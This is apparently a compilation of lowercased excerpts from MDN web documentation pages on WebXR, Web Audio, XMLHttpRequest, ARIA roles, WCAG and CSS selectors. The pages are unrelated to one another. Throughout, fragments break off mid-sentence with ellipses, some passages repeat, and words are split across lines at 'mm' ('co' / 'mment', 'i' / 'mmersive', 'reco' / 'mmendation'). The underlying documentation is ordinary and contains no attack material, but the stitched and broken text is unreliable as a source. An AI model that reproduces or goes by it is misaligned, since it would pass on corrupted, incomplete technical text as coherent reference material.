WebXR Device API - Web APIs
irtual worlds (virtual reality, or vr), or for adding graphical imagery to the real world, (augmented reality, or ar). the webxr device api implements the core of the webxr feature set, managing the selection of output devices, render the 3d scene to the chosen device at the appropriate frame rate, and manage motion vectors created using input controllers. webxr-compatible devices include fully-i
mmersive 3d headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery. to accomplish these things, the webxr device api provides the following key capabilities: find compatible vr ...
...bxr api. using the xrsystem interface, you can create xrsessions to represent actual ar and/or vr sessions. xrframe while presenting an xr session, the state of all tracked objects which make up the session are represented by an xrframe. to get an xrframe, call the session's requestanimationframe() method, providing a callback which will be called with the xrframe once available. events which co
mmunicate tracking states will also use xrframe to contain that information. xrrenderstate provides a set of configurable properties which change how the imagery output by an xrsession is composited. xrsession provides the interface for interacting with xr hardware. once an xrsession is obtained from navigator.xr.requestsession(), the session can be used to check the position and orientation of ...
...er's available input devices. supporting advanced controllers and gamepads in webxr applications webxr uses the gamepad object to describe the controls available on complex input devices (such as hand controllers with multiple buttons and/or axes) and gamepad-like devices. in this guide, learn how to make use of these devices' controls. performance and security webxr performance guide reco
mmendations and tips to help you optimize the performance of your webxr application. permissions and security for webxr the webxr device api has several areas of security to contend with, from establishing feature-policy to ensuring the user intends to use the mixed reality presentation before activating it. including other media positional audio in a 3d environment in 3d environments, which...
...ming from the direction of its source. this guide covers how to accomplish this. playing video in a 3d environment in this guide, we examine how to play video into a 3d scene. this technique can be used in both standard webgl applications presented on a flat computer screen, or in a webxr-generated virtual or augmented reality environment. specifications specification status co
mment webxr device api working draft initial definition. ...
Basic concepts behind Web Audio API - Web APIs
note: to get a time in seconds from a frame count, simply divide the number of frames by the sample rate. to get a number of frames from a number of samples, simply divide by the channel count. here's a couple of simple examples: var context = new audiocontext(); var buffer = context.createbuffer(2, 22050, 44100); note: in digital audio, 44,100 hz (alternately represented as 44.1 khz) is a co
mmon sampling frequency. why 44.1khz? firstly, because the hearing range of human ears is roughly 20 hz to 20,000 hz. via the nyquist–shannon sampling theorem, the sampling frequency must be greater than twice the maximum frequency one wishes to reproduce. therefore, the sampling rate has to be greater than 40 khz. secondly, signals must be low-pass filtered before sampling, otherwise alias...
...tice a transition band is necessary, where frequencies are partly attenuated. the wider this transition band is, the easier and more economical it is to make an anti-aliasing filter. the 44.1 khz sampling frequency allows for a 2.05 khz transition band. if you use this call above, you will get a stereo buffer with two channels, that when played back on an audiocontext running at 44100hz (very co
mmon, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100hz = 0.5 seconds. var context = new audiocontext(); var buffer = context.createbuffer(1, 22050, 22050); if you use this call, you will get a mono buffer with just one channel), that when played back on an audiocontext running at 44100hz, will be automatically resampled to 44100hz (and therefore yield 4410...
... resized image taking up less space. resampled audio is exactly the same: you save space, but in practice you will be unable to properly reproduce high frequency content, or treble sound. planar versus interleaved buffers the web audio api uses a planar buffer format. the left and right channels are stored like this: llllllllllllllllrrrrrrrrrrrrrrrr (for a buffer of 16 frames) this is very co
mmon in audio processing: it makes it easy to process each channel independently. the alternative is to use an interleaved buffer format: lrlrlrlrlrlrlrlrlrlrlrlrlrlrlrlr (for a buffer of 16 frames) this format is very co
mmon for storing and playing back audio without much processing, for example a decoded mp3 stream. the web audio api exposes only planar buffers, because it's made for process...
... mixed together. the surround channels are slightly attenuated and the regular lateral channels are power-compensated to make them count as a single channel by multiplying by √2/2. the subwoofer (lfe) channel is lost. output.m = 0.7071 * (input.l + input.r) + input.c + 0.5 * (input.sl + input.sr) 6 (5.1) 2 (stereo) down-mix from 5.1 to stereo. the central channel (c) is su
mmed with each lateral surround channel (sl or sr) and mixed to each lateral channel. as it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by √2/2. the subwoofer (lfe) channel is lost. output.l = input.l + 0.7071 * (input.c + input.sl) output.r = input.r + 0.7071 * (input.c + input.sr) 6 (5.1) 4 (quad) down-mix from 5.1 to quad. ...
Using XMLHttpRequest - Web APIs
to send an http request, create an xmlhttprequest object, open a url, and send the request. after the transaction completes, the object will contain useful information such as the response body and the http status of the result. ...
...body.innerhtml and traverse the dom of the fragment. regexp can be used if you always know the content of the html responsetext beforehand. you might want to remove line breaks, if you use regexp to scan with regard to linebreaks. however, this method is a "last resort" since if the html code changes slightly, the method will likely fail. handling binary data although xmlhttprequest is most co
mmonly used to send and receive textual data, it can be used to send and receive binary content. there are several well tested methods for coercing the response of an xmlhttprequest into sending binary data. these involve utilizing the overridemimetype() method on the xmlhttprequest object and is a workable solution. var oreq = new xmlhttprequest(); oreq.open("get", url); // retrieve data unprocess...
....open</policyname> to allaccess to give specific sites cross-site access. this is no longer supported. firefox 5 note versions of firefox prior to firefox 5 could use netscape.security.privilegemanager.enableprivilege("universalbrowserread"); to request cross-site access. this is no longer supported, even though it produces no warning and permission dialog is still presented. the reco
mmended way to enable cross-site scripting is to use the access-control-allow-origin http header in the response to the xmlhttprequest. xmlhttprequests being stopped if you conclude with an xmlhttprequest receiving status=0 and statustext=null, this means the request was not allowed to be performed. it was unsent. a likely cause for this is when the xmlhttprequest origin (at the creation of the xm...
...nd another window gains focus. ...
XRPermissionDescriptor.requiredFeatures - Web APIs
such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need. xrreferencespace viewer a tracking space whose native origin tracks the viewer's position and orientation. this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between th...
...l for inline sessions. it's particularly useful when determining the distance between the viewer and an input, or when working with offset spaces. otherwise, typically, one of the other reference space types will be used more often. ...
...the other reference space types will be used more often. xrreferencespace usage notes examples in this example, permissions are checked to ensure that the user has granted permission for the site or app to use i
mmersive augmented reality mode with the local-floor reference space (presumably since the user is unlikely to start to fly). ...
... working draft initial definition. ...
XRPermissionDescriptor - Web APIs
use if permision is granted. the xrpermissiondescriptor's name must be set to xr in order to direct the permissions api to correctly handle the request as applying to webxr. properties in addition to inheriting the properties of the parent interface, permissiondescriptor, xrpermissiondescriptor provides the following properties. mode an xrsessionmode value indicating the xr mode (inline, i
mmersive-vr, or i
mmersive-ar) for which the permissions are requested. optionalfeatures an array of strings, each specifying the name of a webxr feature which is requested but not required for the app to function. the available features are the same as those used by xrsessioninit; see default features in xrsessioninit for further information. requiredfeatures an array of strings giving the names...
... same as those used by xrsessioninit; see default features in xrsessioninit for further information. requiredfeatures an array of strings giving the names of the webxr features for which permission must be obtained in order to use your app or site. examples the example below demonstrates performing the permission request for an application that requires the local-floor reference space in an i
mmersive-vr environment. if the permissions api is found to be available (by checking to see if navigator.permissions is defined), its query() method is called, specifying the permission descriptor we've established, xrpermissiondesc. when the returned promise resolves, we check the returned status. if permission has been granted, we call a function setupxr() that handles preparing the webxr envir...
...error is handled (currently by just dumping it to the console using domxref("console.log()")}}). if the permissions api isn't available at all, this example simply assumes that webxr will report an appropriate error if permission isn't available, and tries to start up the webxr session using the same setupxr() function called by the granted case. ...
... working draft initial definition. ...
XRReferenceSpace: reset event - Web APIs
in the case of xrboundedreferencespace objects, the reset event can also be fired when the boundsgeometry changes. ...
... coordinate system has been reset or reconfigured by changing the reference space's origin, moving and rotating it as indicated by the event's transform property. the event is sent before any animation frame callbacks are executed to render the pending frame, to ensure that those callbacks have the updated coordinate system available. there are a number of reasons why a reset might occur. most co
mmon among them are the following: the user has manually reset the coordinate system, such as by requesting that the headset recalibrate itself to ensure that the facing direction and hand controllers are synchronized with the user's actual position and facing. this is primarily an issue for local or local-floor reference spaces. for a bounded-floor reference space, the coordinate system can be ...
...for a bounded-floor reference space, the coordinate system can be reset if the user exits the boundaries of the reference space and enters a new one (such as by crossing from one level to another in a game, where each level is its own map with its own coordinate system). the tracking system has temporarily lost the user, then regained them, but not until after they had moved enough to leave the i
mmediate vicinity of the last-known position. primarily an issue for unbounded reference spaces. the user is in an unbounded reference space and has moved far enough from the starting position (the reference space's origin) that floating-point or other forms of error or drift are problematic. the coordinate system is thus reset with its new origin at or near the user's current position. the webxr ...
...se either of two approaches. first, you can use the addeventlistener() method: viewerrefspace.addeventlistener("reset", (event) => { /* perform reset related tasks */ }); the second option is to set the xrreferencespace object's onreset event handler property: viewerrefspace.onreset = (event) => { /* perform reset related tasks */ }; specifications specification status co
mment webxr device apithe definition of 'reset event' in that specification. working draft initial definition. ...
XRReferenceSpace - Web APIs
such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need. xrreferencespace viewer a tracking space whose native origin tracks the viewer's position and orientation. this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between th...
... the duration of the xrsession. to do that, call the xrsession method requestreferencespace(), specifying the reference space type you wish to obtain. xrsession.requestreferencespace("local").then((refspace) => { xrreferencespace = refspace; /* ... */ }); the other situation in which you may need to acquire a new reference space is if you need to move the origin to a new position; this is co
mmonly done, for example, when your project allows the user to move through the environment using input devices such as the keyboard, mouse, touchpad, or game controls that are not connected through the xr device. since the origin will typically be the user's location in the space, you need to change the origin to reflect their movement and any orientation changes they make. to move or rotate the u...
...d, mouse, touchpad, or game controls that are not connected through the xr device. since the origin will typically be the user's location in the space, you need to change the origin to reflect their movement and any orientation changes they make. to move or rotate the user's view of the world, you need to change the xrreferencespace used to represent that viewpoint. however, xrreferencespace is i
mmutable, so you need to instead create a new reference space representing the changed viewpoint. this is easily done using the getoffsetreferencespace() method. let offsettransform = new xrrigidtransform({x: 2, y: 0, z: 1}, {x: 0, y: 1, z: 0, w: 1}); xrreferencespace = xrreferencespace.getoffsetreferencespace(offsettransform); this replaces the xrreferen...
... working draft initial definition. ...
XRSession.cancelAnimationFrame() - Web APIs
ling requestanimationframe. syntax xrsession.cancelanimationframe(handle); parameters handle the unique value returned by the call to requestanimationframe() that previously scheduled the animation callback. return value none. usage notes this function has no effect if the specified handle cannot be found. example in the example below we see code which starts up a webxr session if i
mmersive vr mode is supported. once started, the session schedules its first frame to be rendered by calling requestanimationframe(). the pausexr() function shown at the bottom can be called to suspend the webvr session, in essence, by canceling any pending animation frame callback. since each frame callback schedules the next one, removing the callback terminates updating of the webxr scene. cons...
...requestanimationframe(). the pausexr() function shown at the bottom can be called to suspend the webvr session, in essence, by canceling any pending animation frame callback. since each frame callback schedules the next one, removing the callback terminates updating of the webxr scene. ...
...ne. ...
... working draft initial definition. ...
XRSessionMode - Web APIs
the webxr device api's xrsessionmode enumerated type defines the string values used to identify the possible kinds of session mode that can be used. values i
mmersive-ar the session's output will be given exclusive access to the i
mmersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. important: the i
mmersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation. i
mmersive-vr indicates that the rendered session will be displayed using an i
mmersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment. ...
.... inline sessions don't require special hardware and should be avalable on any user agent offering webxr api support. usage notes the xrsessionmode type indicates the values that can be specified when calling xr.issessionsupported() to determine whether or not the specified session type is supported and available to be used, and by requestsession() to attempt to open a new webxr session. the i
mmersive-ar mode supports all the same features and reference spaces that i
mmersive-vr does, since both are i
mmersive sessions. browsers may support either or both of these modes, but if webxr is available, the inline mode is always supported. specifications specification status co
mment webxr device apithe definition of 'xrsessionmode' in that specification. working ...
...re i
mmersive sessions. browsers may support either or both of these modes, but if webxr is available, the inline mode is always supported. specifications specification status co
mment webxr device apithe definition of 'xrsessionmode' in that specification. working draft initial definition. webxr augmented reality modulethe definition of 'xrsessionmode: i
mmersive-ar' in that specification. ...
...these modes, but if webxr is available, the inline mode is always supported. specifications specification status co
mment webxr device apithe definition of 'xrsessionmode' in that specification. working draft initial definition. ...
ARIA live regions - Accessibility
ge without requiring the entire page to reload — for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction. while these changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies. aria live regions fill this gap and provide a way to progra
mmatically expose dynamic content changes in a way that can be announced by assistive technologies. note: assistive technologies will announce dynamic changes in the content of a live region. including an aria-live attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the attribute before the changes occur — ei...
...ses it is better to use a specific provided "live region role": role description compatibility notes log chat, error, game or other type of log to maximize compatibility, add a redundant aria-live="polite" when using this role. status a status bar or area of the screen that provides an updated status of some kind. ...
...however, adding both aria-live and role="alert" causes double speaking issues in voiceover on ios. progressbar a hybrid between a widget and a live region. use this with aria-valuemin, aria-valuenow and aria-valuemax. (tbd: add more info here). ...
...user's log-in and log-out status will be reflected dynamically (without a page reload). <ul id="roster" aria-live="polite" aria-relevant="additions removals"> <!-- use javascript to add remove users here--> </ul> breakdown of aria live properties: aria-live="polite" indicates that the screen reader should wait until the user is idle before presenting updates to the user. this is the most co
mmonly used value, as interrupting the user with "assertive" might interrupt their flow. aria-atomic is not set (false by default) so that only the added or removed users should be spoken and not the entire roster each time. aria-relevant="additions removals" ensures that both users added or removed to the roster will be spoken. ...
ARIA: application role - Accessibility
input and consume it themselves, letting nothing through to the browser or other user agent. to be able to interact with a web page, a standard set of widgets is recognized that, when pressing a certain key (usually the enter key) this mode is switched off. the screen reader mode, often called forms mode or focus mode, lets all keyboard input go through to the browser again. escape is the most co
mmon way of switching back to browse mode. the application role is designed to provide a means for widgets that are not part of the standard set to be accessible for direct interaction in ats that use both browse and focus modes for interacting with web content. associated wai-aria roles, states, and properties document, article used to indicate parts of the application that should be treated ...
...for screen readers to speak. this should be localized. keyboard interactions keyboard interaction is completely under the web author's control and can be anything associated with the particular widget being implemented. in a slides application, for example, a widget could be created that uses the arrow keys to position elements on the slide, and uses audio feedback via an aria live region to co
mmunicate the position and overlap status with other objects. focus is being managed via aria-activedescendant. the tab , space and enter keys, as well as escape , must be handled by the application. the one exception is if focus is set to a standard widget inside the application that supports keyboard navigation from the browser, for example an input element. required javascript features keypr...
... on the mozilla developer network some parts of gmail accessibility concerns improperly using the application role can unintentionally take away access from information on a web page, so be very mindful of using it. think hard on if you actually need it and cannot just use a set of other, known, widgets to accomplish the same task. ...
...ou actually need it and cannot just use a set of other, known, widgets to accomplish the same task. if used, the application role should be added to the lowest co
mmon container possible, not on the <body> element, for example. specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'application' in that specification. reco
mmendation precedence order applying the application role will cause this and all of the descendant elements of this element to be treated like application content, not web content. any reading mechanisms assistive technologies may have for web content will not apply. see also if you use the wai-aria role "application", please do so wisely - blog post by marco zehe ...
ARIA: Navigation Role - Accessibility
role="navigation" aria-label="main"> <!-- list of links to main website locations --> </div> this is a website's main navigation. description the navigation role is a landmark role. landmark roles provide a way to identify the organization and structure of a web page. by classifying and labeling sections of a page, structural information conveyed visually through layout is represented progra
mmatically. screen readers use landmark roles to provide keyboard navigation to important sections of a page. like the html <nav> element, navigation landmarks provide a way to identify groups (e.g. lists) of links that are intended to be used for website or page content navigation. if a page includes more than one navigation landmark, each should have a unique label. if two or more navigational lan...
...on landmark, each should have a unique label. if two or more navigational landmark on a page have the same set of links, use the same label for each. it is preferable to use the html5 <nav> element to define a navigation landmark. if the html5 nav element technique is not being used, use a role="navigation" attribute to define a navigation landmark. using the <nav> element will automatically co
mmunicate a section has a role of navigation. developers should always prefer using the correct semantic html element over using aria. associated wai-aria roles, states, and properties aria-label a brief description of the purpose of the navigation, omitting the term "navigation", as the screen reader will read both the role and the contents of the label. keyboard interactions none. requir...
.../li> <li><a href="#">find a store</a></li> </ul> </div> accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. best practices prefer html using the <nav> element will automatically co
mmunicate a section has a role of navigation. if at all possible, prefer using it instead. labeling landmarks multiple landmarks if there is more than one navigation landmark role or <nav> element in a document, provide a label for each landmark. this label will allow an assitive technology user to be able to quickly understand the purpose of each landmark. <div id="main-nav" role="navigation" a...
... working draft screen reader support tbd ...
ARIA: Region role - Accessibility
when none of the other landmark roles are appropriate. <div role="region" aria-label="example"> <!-- region content --> </div> description the region role is an aria landmark role. landmark roles provide a way to identify the organization and structure of a web page. by classifying and labeling sections of a page, structural information conveyed visually through layout is represented progra
mmatically. screen readers use landmark roles to provide keyboard navigation to important sections of a page. the region role should be reserved for sections of content sufficiently important that users will likely want to navigate to the section easily and to have it listed in a su
mmary of the page. a region role is a more generic term, and should only be used if the section needing to be identifi...
...ery element with a region role should include a label that describes the purpose of the content in the region, preferably with an aria-labelledby referencing a visible header. if no visible appropriate header is present, aria-label should be used.. region landmark roles content should make sense if separated from the main content of the document. using the <section> element will automatically co
mmunicate a section has a role of region if it is given an accessible name. developers should always prefer using the correct semantic html element, in this case <section>, over using aria. associated wai-aria roles, states, and properties aria-labelledby use this attribute to label the region. often, the value of the aria-labelledby attribute will be the id of the element used to title the sec...
...ny landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. only use the region role if no other relevant content sectioning element or landmark role applies. if multiple regions exist on a page, it may be worth reinvestigating the page's overall structure. best practices prefer html using the <section> element will automatically co
mmunicate that a section has a role of region if it is given an accessible name. if at all possible, prefer using it instead. labeling landmarks if there is more than one region landmark role in a document, provide a label for each one. this label will allow an assitive technology user to be able to quickly understand the purpose of each landmark. <div role="region" aria-labelledby="heading"> <...
... working draft screen reader support tbd ...
WAI-ARIA Roles - Accessibility
hould be treated similar to a desktop application, and no traditional html interpretation techniques should be used. this role should only be used to define very dynamic and desktop-like web applications.aria: article rolethe article role indicates a section of a page that could easily stand on its own on a page, in a document, or on a website. it is usually set on related content items such as co
mments, forum posts, newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative content frequently placed at the beginning of the page. this usually includes a logo, company name, search icon, photo related to the page, or slogan.aria: button rolethe button role should be used for clickable elements that trigger a response when ac...
...ent as being a cell in a tabular container that does not contain column or row header information. to be supported, the cell must be nested in an element with the role of row.aria: checkbox rolethe checkbox role is used for checkable interactive controls. elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.aria: co
mment rolethe co
mment landmark role semantically denotes a co
mment/reaction to some content on the page, or to a previous co
mment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated. these sections are frequently presented as sidebars or call-out boxes. if possible, use the html <aside>...
...the main content, yet can stand alone when separated. these sections are frequently presented as sidebars or call-out boxes. if possible, use the html <aside> element instead.aria: contentinfo rolethe contentinfo landmark role is used to identify information repeated at the end of every page of a website, including copyright information, navigation links, and privacy statements. this section is co
mmonly called a footer.aria: dialog rolethe dialog role is used to mark up an html based application dialog or window that separates content or ui from the rest of the web application or page. dialogs are generally placed on top of the rest of the page content using an overlay. dialogs can be either non-modal (it's still possible to interact with content outside of the dialog) or modal (only the con...
...he amount of elapsed time from a starting point or the remaining time until an end point. please claim the role you want to work on by adding your name after the role's name: (old pages are linked from https://developer.mozilla.org/docs/web/accessibility/aria/aria_techniques). ones for which the first draft is completed have been removed from the below list. ...
Accessibility and Spacial Patterns - Accessibility
tend to "float" visually or be "captured" by adjacent symbols with high luminance-contrast. the phenomenon seems to be especially problematic for symbol/background combinations that differ only in the blue channel." distance between stripes photosensitive seizures may be caused by static images as well as animation. the mechanism for this is poorly understood, but is believed to be linked to "ga
mma oscillations" set up in the brain. these oscillations in the brain are a different kind of response than other kinds of neurological responses believed to cause photosensitive seizures. stripes and patterns are typical of the kinds of images that create problems, and stripes have been studied most closely. there's the potential for causing harm if there are more than five light-dark pairs of...
... photosensitive seizures. stripes and patterns are typical of the kinds of images that create problems, and stripes have been studied most closely. there's the potential for causing harm if there are more than five light-dark pairs of stripes in any orientation. they can be parallel, radial, curved or straight, and may be formed by rows of repeating elements. in 2005, arnold wilkins, john e
mmett, and graham harding evaluated the guidelines for characterizing patterned images that could precipitate seizures. they revised the guidelines to their fundamental core, and came up with a surprisingly simple, but powerful test. which they published in the paper, characterizing the patterned images that precipitate seizures and optimizing guidelines to prevent them the steps necessary to eva...
... ...
... ...
Keyboard-navigable JavaScript widgets - Accessibility
order (tabindex="-1"). users should be able to navigate the descendent elements using arrow keys. (for a full description of the keyboard support that is normally expected for typical widgets, see the wai-aria authoring practices.) the example below shows this technique used with a nested menu control. once keyboard focus lands on the containing <ul> element, the javascript developer must progra
mmatically manage focus and respond to arrow keys. for techniques for managing focus within widgets, see "managing focus inside groups" below. example 2: a menu control using tabindex to control keyboard access <ul id="mb1" tabindex="0"> <li id="mb1_menu1" tabindex="-1"> font <ul id="fontmenu" title="font" tabindex="-1"> <li id="sans-serif" tabindex="-1">sans-serif</li> <li id="s...
...etting tabindex="-1". note that disabled items within a grouped widget (such as menu items in a menu) should remain navigable using arrow keys. managing focus inside groups when a user tabs away from a widget and returns, focus should return to the specific element that had focus, for example, the tree item or grid cell. there are two techniques for accomplishing this: roving tabindex: progra
mmatically moving focus aria-activedescendant: managing a 'virtual' focus technique 1: roving tabindex setting the tabindex of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus. note that updating the tabindex to "0" requires also updating the previously selected item to tabindex="-1". this technique i...
...g focus aria-activedescendant: managing a 'virtual' focus technique 1: roving tabindex setting the tabindex of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus. note that updating the tabindex to "0" requires also updating the previously selected item to tabindex="-1". ...
... here's an example of a wai-aria tree view using this technique. ...
Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the reco
mmendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing). the wcag 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. it is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. for this reason, we have su
mmarised the practical steps you need to take to satisfy the different reco
mmendations, with further links to more details where required. the four principles wcag is broadly broken down into four principles — major things that web content must be to be considere...
...cal advice on how to write your web content so it conforms to the success criteria outlined in each of the wcag 2.0 and 2.1 guidelines that further sub-divides each principle. perceivable: users must be able to perceive it in some way, using one or more of their senses. operable: users must be able to control ui elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice co
mmand, etc.). understandable: the content must be understandable to its users. robust: the content must be developed using well-adopted web standards that will work across different browsers, now and in the future. should i use wcag 2.0 or 2.1? wcag 2.1 is the most recent and relevant accessibility standard. use wcag 2.1 to help more people with disabilities and reduce the future legal risk for...
...ill work across different browsers, now and in the future. should i use wcag 2.0 or 2.1? wcag 2.1 is the most recent and relevant accessibility standard. use wcag 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. target wcag 2.0 first when allocating resources. then step up to wcag 2.1. what is wcag 2.1? wcag 2.1 was published as an official reco
mmendation on 05 june 2018. the european union (eu) adopted wcag 2.1 as the digital accessibility standard in september 2018. w3c published a press release wcag 2.1 adoption in europe. wcag 2.1 includes: all of wcag 2.0 (verbatim, word-for-word) 17 new success criteria at the a / aa / aaa levels primarily addressing user needs in these areas: mobile accessibility low vision cognit...
... deque: wcag 2.1: what is next for accessibility guidelines tpg: web content accessibility guidelines (wcag) 2.1 legal standing this guide is intended to provide practical information to help you build better, more accessible websites. however, we are not lawyers, and none of this constitutes legal advice. if you are worried about the legal implications of web accessibility, we'd reco
mmend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer. what is accessibility? and particularity the accessibility guidelines and the law section provide more related information. ...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
the ::first-letter css pseudo-element applies styles to the first letter of the first line of a block-level element, but only when not preceded by other content (such as images or inline tables). /* selects the first letter of a <p> */ p::first-letter { font-size: 130%; } the first letter of an element is not always trivial to identify: punctuation that precedes or i
mmediately follows the first letter is included in the match. punctuation includes any unicode character defined in the open (ps), close (pe), initial quote (pi), final quote (pf), and other punctuation (po) classes. some languages have digraphs that are always capitalized together, like the ij in dutch. in these cases, both letters of the digraph should be matched by the ::first-letter pseudo-element. (this is poorly su...
...pecial punctuation mark.</p> <p>*the beginning of a special punctuation mark.</p> <p>#the beginning of a special punctuation mark.</p> <p>「特殊的汉字标点符号开头。</p> <p>《特殊的汉字标点符号开头。</p> <p>“特殊的汉字标点符号开头。</p> css p::first-letter { color: red; font-size: 150%; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::first-letter' in that specification. working draft generalizes allowed properties to typesetting, text decoration, inline layout properties, opacity, and box-shadow. css text decoration module level 3the definition of 'text-shadow with ::first-letter' in that specification. candidate reco
mmendation allows the use...
...lizes allowed properties to typesetting, text decoration, inline layout properties, opacity, and box-shadow. css text decoration module level 3the definition of 'text-shadow with ::first-letter' in that specification. candidate reco
mmendation allows the use of text-shadow with ::first-letter. selectors level 3the definition of '::first-letter' in that specification. reco
mmendation introduction of the two-colon syntax. ...
...s the use of text-shadow with ::first-letter. selectors level 3the definition of '::first-letter' in that specification. reco
mmendation introduction of the two-colon syntax. definition of edge-case behavior, such as in list items or with specific languages (e.g., the dutch digraph ij). css level 2 (revision 1)the definition of '::first-letter' in that specification. reco
mmendation no change. css level 1the definition of '::first-letter' in that specification. reco
mmendation initial definition, using the one-colon syntax. ...
src - CSS: Cascading Style Sheets
src: local(font), url(path/to/font.svg) format("svg"), url(path/to/font.woff) format("woff"), url(path/to/font.otf) format("opentype"); values <url> [ format( <string># ) ]? specifies an external reference consisting of a <url>, followed by an optional hint using the format() function to describe the format of the font resource referenced by that url. the format hint contains a co
mma-separated list of format strings that denote well-known font formats. if a user agent doesn't support the specified formats, it skips downloading the font resource. if no format hints are supplied, the font resource is always downloaded. <font-face-name> specifies the name of a locally-installed font face using the local() function, which uniquely identifies a single font face within a larger ...
...ormats, it skips downloading the font resource. if no format hints are supplied, the font resource is always downloaded. <font-face-name> specifies the name of a locally-installed font face using the local() function, which uniquely identifies a single font face within a larger family. the name can optionally be enclosed in quotes. description the value of this descriptor is a prioritized, co
mma-separated list of external references or locally-installed font face names. when a font is needed the user agent iterates over the set of references listed using the first one it can successfully activate. fonts containing invalid data or local font faces that are not found are ignored and the user agent loads the next font in the list. as with other urls in css, the url may be relative, in whi...
...tax [ <url> [ format( <string># ) ]? ...
...dent>+ examples specifying font resources using url() and local() @font-face { font-family: examplefont; src: local(example font), url('examplefont.woff') format("woff"), url('examplefont.otf') format("opentype"); } specifications specification status co
mment css fonts module level 3the definition of 'src' in that specification. candidate reco
mmendation initial definition ...
Adjacent sibling combinator - CSS: Cascading Style Sheets
working draft renames it the "next-sibling" combinator. ...
... working draft renames it the "next-sibling" combinator. ...
... element, and both are children of the same parent element. /* paragraphs that come i
mmediately after any image */ img + p { font-weight: bold; } syntax former_element + target_element { style properties } examples css li:first-of-type + li { color: red; } html <ul> <li>one</li> <li>two!</li> <li>three</li> </ul> result specifications specification status co
mment selectors level 4the definition of 'next-sibling combinator' in that specification. working draft renames it the "next-sibling" combinator. selectors level 3the definition of 'adjacent sibling combinator' in that specification. ...
... html <ul> <li>one</li> <li>two!</li> <li>three</li> </ul> result specifications specification status co
mment selectors level 4the definition of 'next-sibling combinator' in that specification. working draft renames it the "next-sibling" combinator. selectors level 3the definition of 'adjacent sibling combinator' in that specification. reco
mmendation css level 2 (revision 1)the definition of 'adjacent sibling selectors' in that specification. reco
mmendation initial definition. ...
Alternative style sheets - CSS: Cascading Style Sheets
lect the stylesheet using the view > page style submenu. internet explorer also supports this feature (beginning with ie 8), also accessed from view > page style. chrome requires an extension to use the feature (as of version 48). the web page can also provide its own user interface to let the user switch styles. an example: specifying the alternative stylesheets the alternate stylesheets are co
mmonly specified using a <link> element with rel="alternate stylesheet" and title="..." attributes. for example: <link href="reset.css" rel="stylesheet" type="text/css"> <link href="default.css" rel="stylesheet" type="text/css" title="default style"> <link href="fancy.css" rel="alternate stylesheet" type="text/css" title="fancy"> <link href="basic.css" rel="alternate stylesheet" type="text/css" ti...
...pe="text/css" title="default style"> <link href="fancy.css" rel="alternate stylesheet" type="text/css" title="fancy"> <link href="basic.css" rel="alternate stylesheet" type="text/css" title="basic"> in this example, the styles "default style", "fancy", and "basic" will be listed in the page style submenu, with "default style" pre-selected. when the user selects a different style, the page will i
mmediately be re-rendered using that style sheet. no matter what style is selected, the rules from the reset.css stylesheet will always be applied. try it out click here for a working example you can try out. details any stylesheet in a document falls into one of the following categories: persistent (no rel="alternate", no title=""): always applies to the document. preferred (no rel="altern...
...inked without a title attribute are always applied. use rel="stylesheet" to link to the default style, and rel="alternate stylesheet" to link to alternative style sheets. this tells the browser which style sheet title should be selected by default, and makes that default selection apply in browsers that do not support alternate style sheets. specifications specification status co
mment html living standardthe definition of 'link type "alternate"' in that specification. living standard html living standardthe definition of 'alternative stylesheet' in that specification. living standard html living standardthe definition of 'the "title" attribute for the style element' in that specification. living standard html livi...
... ...
Attribute selectors - CSS: Cascading Style Sheets
an attribute name of attr. [attr=value] represents elements with an attribute name of attr whose value is exactly value. [attr~=value] represents elements with an attribute name of attr whose value is a whitespace-separated list of words, one of which is exactly value. [attr|=value] represents elements with an attribute name of attr whose value can be exactly value or can begin with value i
mmediately followed by a hyphen, - (u+002d). it is often used for language subcode matches. [attr^=value] represents elements with an attribute name of attr whose value is prefixed (preceded) by value. [attr$=value] represents elements with an attribute name of attr whose value is suffixed (followed) by value. [attr*=value] represents elements with an attribute name of attr whose value contain...
